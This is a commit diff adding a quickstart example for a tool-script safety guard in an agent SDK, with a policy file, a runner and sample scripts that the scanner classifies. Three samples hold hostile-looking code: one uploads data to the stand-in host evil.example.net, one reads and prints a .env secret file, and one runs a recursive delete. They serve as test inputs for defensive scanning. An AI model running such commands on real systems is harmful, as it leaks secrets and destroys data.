Add tool safety quickstart example

Author: 张志鹏

examples/tool_safety_guard/README.md

@@ -2,6 +2,16 @@
 
 This example shows how to scan Python and Bash tool scripts before execution. It uses a policy file, emits structured reports, appends JSONL audit events, and can be attached as a Tool Filter or CodeExecutor wrapper.
 
+## Quickstart Project
+
+For a project-shaped walkthrough similar to the optimization quickstart examples, start here:
+
+```bash
+python examples/tool_safety_guard/quickstart/run_guard.py
+```
+
+That directory contains an entry script, a dry-run tool service, a policy file, sample tool scripts, a design note, and generated report/audit outputs. It demonstrates the same guard through direct scan, Tool Filter, and CodeExecutor wrapper paths without executing untrusted script bodies.
+
 ## Run The Samples
 
 ```bash

examples/tool_safety_guard/quickstart/README.md

@@ -0,0 +1,80 @@
+# Tool Safety Guard Quickstart
+
+This quickstart is a small project-shaped example for the tool script safety guard. It mirrors the structure used by optimization quickstart examples: one entry script, one service module, one policy file, and a few representative inputs.
+
+## Directory
+
+```text
+examples/tool_safety_guard/quickstart/
+|-- run_guard.py
+|-- tool_service.py
+|-- policy.yaml
+|-- design.md
+`-- scripts/
+    |-- safe_report.py
+    |-- external_upload.py
+    |-- read_secret.py
+    |-- review_subprocess.py
+    `-- dangerous_cleanup.sh
+```
+
+`scripts/` is not meant to be executed directly. The runner feeds each file into the guard and uses dry-run delegates to show where a real tool or CodeExecutor would be blocked.
+
+## Run
+
+From the repository root:
+
+```bash
+python examples/tool_safety_guard/quickstart/run_guard.py
+```
+
+Or with the Windows launcher used in this workspace:
+
+```bash
+py -3.14 examples/tool_safety_guard/quickstart/run_guard.py
+```
+
+The run writes:
+
+```text
+examples/tool_safety_guard/quickstart/out/
+|-- quickstart_report.json
+`-- audit.jsonl
+```
+
+Expected decisions:
+
+| case | expected decision | why |
+| --- | --- | --- |
+| `safe_report` | `allow` | Local bounded file write under the project output directory. |
+| `external_upload` | `deny` | Network egress to a domain not in `allowed_domains`. |
+| `read_secret` | `deny` | Reads `.env`, which is configured as a denied path. |
+| `review_subprocess` | `needs_human_review` | Starts a subprocess, which is review-worthy but not always unsafe. |
+| `dangerous_cleanup` | `deny` | Recursive delete pattern. |
+
+## What This Demonstrates
+
+The same `ToolSafetyGuard` is used in three places:
+
+- Direct scan: `guard.scan(ToolSafetyScanRequest(...))` returns a structured report.
+- Tool Filter: `ToolSafetyFilter` blocks script-like tool arguments before the tool body runs.
+- CodeExecutor wrapper: `SafetyGuardedCodeExecutor` scans code blocks before delegating to an executor.
+
+This is the intended production shape: keep execution code simple, put static pre-execution policy in one reusable guard, and write audit events for every decision.
+
+## Policy Knobs
+
+`policy.yaml` controls the main behavior without code changes:
+
+- `allowed_domains`: network egress allowlist.
+- `allowed_commands`: command allowlist for shell-like command scans.
+- `denied_paths`: sensitive path patterns.
+- `system_write_paths`: protected roots.
+- resource limits such as `max_sleep_seconds`, `max_loop_iterations`, and `max_parallel_tasks`.
+- `deny_risk_level`, `review_risk_level`, and `block_on_review`.
+
+Try adding `evil.example.net` to `allowed_domains`; `external_upload.py` will no longer be denied for non-allowlisted egress, although it still records network-related findings.
+
+## Relationship To The Sample Matrix
+
+The parent `examples/tool_safety_guard/samples/` directory remains the acceptance matrix with 12 focused cases. This quickstart is the narrative example: it shows how the scanner, filter, executor wrapper, report, and audit event fit together in a minimal application.

examples/tool_safety_guard/quickstart/design.md

@@ -0,0 +1,31 @@
+# Design Notes
+
+## Problem Shape
+
+Agents increasingly call tools that accept script-like payloads: a Bash command, a Python snippet, generated code blocks, or a file-backed skill script. Those payloads can perform useful local work, but they can also delete files, exfiltrate secrets, install packages, start unbounded subprocesses, or contact unapproved network destinations. The safety guard is a pre-execution control that makes those risks visible before the tool body runs.
+
+## Architecture
+
+The quickstart has three layers:
+
+1. `policy.yaml` defines environment-specific rules: allowed network domains, allowed commands, denied paths, protected system roots, resource thresholds, and the risk levels that map to `allow`, `needs_human_review`, or `deny`.
+2. `ToolSafetyGuard` owns scanning, decision calculation, telemetry attributes, and audit emission. It receives a `ToolSafetyScanRequest` and returns a `ToolSafetyReport`.
+3. Integration adapters place the guard in front of execution. `ToolSafetyFilter` protects ordinary tools by scanning common argument names such as `command`, `script`, `code`, and `code_blocks`. `SafetyGuardedCodeExecutor` protects CodeExecutor delegates by scanning every code block before delegation.
+
+The quickstart runner exercises all three layers with the same sample scripts. Direct scan shows the raw report. The filter path proves that a blocked script prevents the tool handler from running. The CodeExecutor path proves that generated code is stopped before the executor delegate sees it.
+
+## Decision Model
+
+Scanning produces findings with stable `rule_id`, `risk_type`, `risk_level`, evidence, source line, redaction status, and remediation guidance. The aggregate decision is policy driven: findings at or above `deny_risk_level` become `deny`; findings at or above `review_risk_level` become `needs_human_review`; otherwise the report is `allow`. With `block_on_review: true`, review-needed scripts are blocked by adapters even though the decision is distinct from a hard deny.
+
+## Rule Strategy
+
+Python uses AST analysis first because it can distinguish imports, calls, path literals, loop bounds, subprocess options, and write modes more reliably than plain text matching. Bash uses tokenization and targeted shell-pattern checks for command prefixes, redirections, control operators, recursive deletes, network commands, dependency installation, and fork-bomb patterns. Regex is reserved for cross-language text risks such as literal secrets and URLs.
+
+## Audit And Telemetry
+
+Each report includes OpenTelemetry-ready attributes such as `tool.safety.decision`, `tool.safety.risk_level`, `tool.safety.rule_id`, `tool.safety.rule_ids`, and `tool.safety.blocked`. When an audit path is configured, the guard appends a compact JSONL event with the same decision, policy version, finding count, redaction flag, and primary rule id. This gives operators a low-cardinality signal for dashboards and a durable trail for incident review.
+
+## Safety Boundaries
+
+The guard is intentionally static and pre-execution. It reduces obvious risk and gives consistent policy enforcement, but it is not a sandbox. Obfuscated strings, downloaded second-stage scripts, interpreter-specific behavior, shell expansion, and generated runtime code can bypass static analysis. Production deployments should still use sandbox isolation, least-privilege credentials, read-only mounts where possible, network egress controls, resource limits, timeouts, and post-execution monitoring.

examples/tool_safety_guard/quickstart/policy.yaml

@@ -0,0 +1,33 @@
+name: tool-safety-quickstart
+version: "1"
+allowed_domains:
+  - api.github.com
+allowed_commands:
+  - cat
+  - echo
+  - python
+  - python3
+  - pwd
+denied_paths:
+  - ~/.ssh
+  - .env
+  - .aws/credentials
+  - id_rsa
+  - id_ed25519
+  - credentials
+system_write_paths:
+  - /
+  - /etc
+  - /usr
+  - /var
+  - /root
+max_timeout_seconds: 60
+max_output_bytes: 200000
+max_sleep_seconds: 20
+max_loop_iterations: 10000
+max_literal_write_bytes: 200000
+max_parallel_tasks: 16
+deny_risk_level: high
+review_risk_level: medium
+block_on_review: true
+redact_secrets: true

examples/tool_safety_guard/quickstart/run_guard.py

@@ -0,0 +1,166 @@
+# Tencent is pleased to support the open source community by making tRPC-Agent-Python available.
+#
+# Copyright (C) 2026 Tencent. All rights reserved.
+#
+# tRPC-Agent-Python is licensed under Apache-2.0.
+"""Run the tool safety guard quickstart project.
+
+This script demonstrates the same guard in three integration points:
+direct scan, Tool Filter, and CodeExecutor wrapper. It writes a structured
+summary under ``out/`` without executing any untrusted sample script.
+"""
+
+from __future__ import annotations
+
+import argparse
+import asyncio
+import json
+import sys
+from pathlib import Path
+from typing import Any
+
+HERE = Path(__file__).resolve().parent
+REPO_ROOT = HERE.parents[2]
+if str(REPO_ROOT) not in sys.path:
+    sys.path.insert(0, str(REPO_ROOT))
+
+from trpc_agent_sdk.code_executors import CodeBlock  # noqa: E402
+from trpc_agent_sdk.code_executors import CodeExecutionInput  # noqa: E402
+from trpc_agent_sdk.context import create_agent_context  # noqa: E402
+from trpc_agent_sdk.filter import FilterResult  # noqa: E402
+from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor  # noqa: E402
+from trpc_agent_sdk.tools.safety import ToolSafetyFilter  # noqa: E402
+from trpc_agent_sdk.tools.safety import ToolSafetyGuard  # noqa: E402
+from trpc_agent_sdk.tools.safety import ToolSafetyPolicy  # noqa: E402
+from trpc_agent_sdk.tools.safety import ToolSafetyScanRequest  # noqa: E402
+
+try:
+    from examples.tool_safety_guard.quickstart.tool_service import DryRunScriptExecutor  # noqa: E402
+    from examples.tool_safety_guard.quickstart.tool_service import dry_run_tool  # noqa: E402
+    from examples.tool_safety_guard.quickstart.tool_service import read_script  # noqa: E402
+except ModuleNotFoundError:
+    from tool_service import DryRunScriptExecutor  # noqa: E402
+    from tool_service import dry_run_tool  # noqa: E402
+    from tool_service import read_script  # noqa: E402
+
+DEFAULT_POLICY = HERE / "policy.yaml"
+DEFAULT_OUT = HERE / "out"
+DEFAULT_CASES = [
+    ("safe_report", HERE / "scripts" / "safe_report.py", "python"),
+    ("external_upload", HERE / "scripts" / "external_upload.py", "python"),
+    ("read_secret", HERE / "scripts" / "read_secret.py", "python"),
+    ("review_subprocess", HERE / "scripts" / "review_subprocess.py", "python"),
+    ("dangerous_cleanup", HERE / "scripts" / "dangerous_cleanup.sh", "bash"),
+]
+
+
+def _write_json(path: Path, payload: Any) -> None:
+    path.parent.mkdir(parents=True, exist_ok=True)
+    path.write_text(json.dumps(payload, ensure_ascii=False, indent=2) + "\n", encoding="utf-8")
+
+
+async def _run_filter_case(guard: ToolSafetyGuard, script: str, language: str) -> dict[str, Any]:
+    filter_ = ToolSafetyFilter(guard=guard)
+
+    async def handle() -> FilterResult:
+        return FilterResult(rsp=await dry_run_tool(script, language=language))
+
+    result = await filter_.run(
+        create_agent_context(),
+        {
+            "script": script,
+            "language": language,
+            "cwd": str(HERE),
+        },
+        handle,
+    )
+    return {
+        "continued": bool(result.is_continue),
+        "response": result.rsp,
+    }
+
+
+async def _run_executor_case(guard: ToolSafetyGuard, script: str, language: str) -> dict[str, Any]:
+    executor = SafetyGuardedCodeExecutor(
+        delegate=DryRunScriptExecutor(work_dir=str(HERE)),
+        guard=guard,
+    )
+    result = await executor.execute_code(
+        invocation_context=None,  # type: ignore[arg-type]
+        code_execution_input=CodeExecutionInput(code_blocks=[CodeBlock(language=language, code=script)]),
+    )
+    return {
+        "outcome": result.outcome.value if hasattr(result.outcome, "value") else str(result.outcome),
+        "output": result.output,
+    }
+
+
+async def run_quickstart(*, policy_path: Path = DEFAULT_POLICY, output_dir: Path = DEFAULT_OUT) -> dict[str, Any]:
+    policy = ToolSafetyPolicy.load(policy_path)
+    audit_path = output_dir / "audit.jsonl"
+    guard = ToolSafetyGuard(policy=policy, audit_log_path=audit_path)
+    cases = []
+
+    for name, path, language in DEFAULT_CASES:
+        script = read_script(path)
+        report = guard.scan(
+            ToolSafetyScanRequest(
+                script=script,
+                language=language,
+                cwd=str(HERE),
+                tool_metadata={
+                    "name": name,
+                    "script_path": str(path),
+                },
+            ))
+        filter_result = await _run_filter_case(guard, script, language)
+        executor_result = await _run_executor_case(guard, script, language)
+        cases.append({
+            "name": name,
+            "script": str(path.relative_to(HERE)),
+            "language": language,
+            "decision": report.decision.value if hasattr(report.decision, "value") else str(report.decision),
+            "risk_level": report.risk_level.value if hasattr(report.risk_level, "value") else str(report.risk_level),
+            "blocked": report.blocked,
+            "rule_ids": [finding.rule_id for finding in report.findings],
+            "summary": report.summary,
+            "filter": filter_result,
+            "code_executor": executor_result,
+        })
+
+    summary = {
+        "policy": {
+            "name": policy.name,
+            "version": policy.version,
+            "path": str(policy_path),
+        },
+        "case_count": len(cases),
+        "decision_counts": {
+            decision: sum(1 for case in cases if case["decision"] == decision)
+            for decision in sorted({case["decision"] for case in cases})
+        },
+        "cases": cases,
+        "audit_log": str(audit_path),
+    }
+    _write_json(output_dir / "quickstart_report.json", summary)
+    return summary
+
+
+def _parse_args() -> argparse.Namespace:
+    parser = argparse.ArgumentParser(description="Run the tool safety guard quickstart.")
+    parser.add_argument("--policy", type=Path, default=DEFAULT_POLICY)
+    parser.add_argument("--output-dir", type=Path, default=DEFAULT_OUT)
+    return parser.parse_args()
+
+
+def main() -> None:
+    args = _parse_args()
+    summary = asyncio.run(run_quickstart(policy_path=args.policy.resolve(), output_dir=args.output_dir.resolve()))
+    print("Tool safety quickstart decisions:")
+    for case in summary["cases"]:
+        print(f"- {case['name']}: {case['decision']} ({', '.join(case['rule_ids']) or 'no findings'})")
+    print(f"Report written to: {summary['audit_log']}")
+
+
+if __name__ == "__main__":
+    main()

examples/tool_safety_guard/quickstart/scripts/dangerous_cleanup.sh

@@ -0,0 +1,4 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+rm -rf /tmp/agent-workspace/*

examples/tool_safety_guard/quickstart/scripts/external_upload.py

@@ -0,0 +1,14 @@
+import requests
+
+
+def main() -> None:
+    response = requests.post(
+        "https://evil.example.net/collect",
+        json={"artifact": "agent-run-log"},
+        timeout=5,
+    )
+    print(response.status_code)
+
+
+if __name__ == "__main__":
+    main()

examples/tool_safety_guard/quickstart/scripts/read_secret.py

@@ -0,0 +1,10 @@
+from pathlib import Path
+
+
+def main() -> None:
+    token = Path(".env").read_text(encoding="utf-8")
+    print(token)
+
+
+if __name__ == "__main__":
+    main()

examples/tool_safety_guard/quickstart/scripts/review_subprocess.py

@@ -0,0 +1,9 @@
+import subprocess
+
+
+def main() -> None:
+    subprocess.run(["python", "worker.py"], check=True, timeout=10)
+
+
+if __name__ == "__main__":
+    main()

examples/tool_safety_guard/quickstart/scripts/safe_report.py

@@ -0,0 +1,12 @@
+from pathlib import Path
+
+
+def main() -> None:
+    output = Path("out/safe_report.txt")
+    output.parent.mkdir(parents=True, exist_ok=True)
+    output.write_text("quickstart report generated\n", encoding="utf-8")
+    print("report ready")
+
+
+if __name__ == "__main__":
+    main()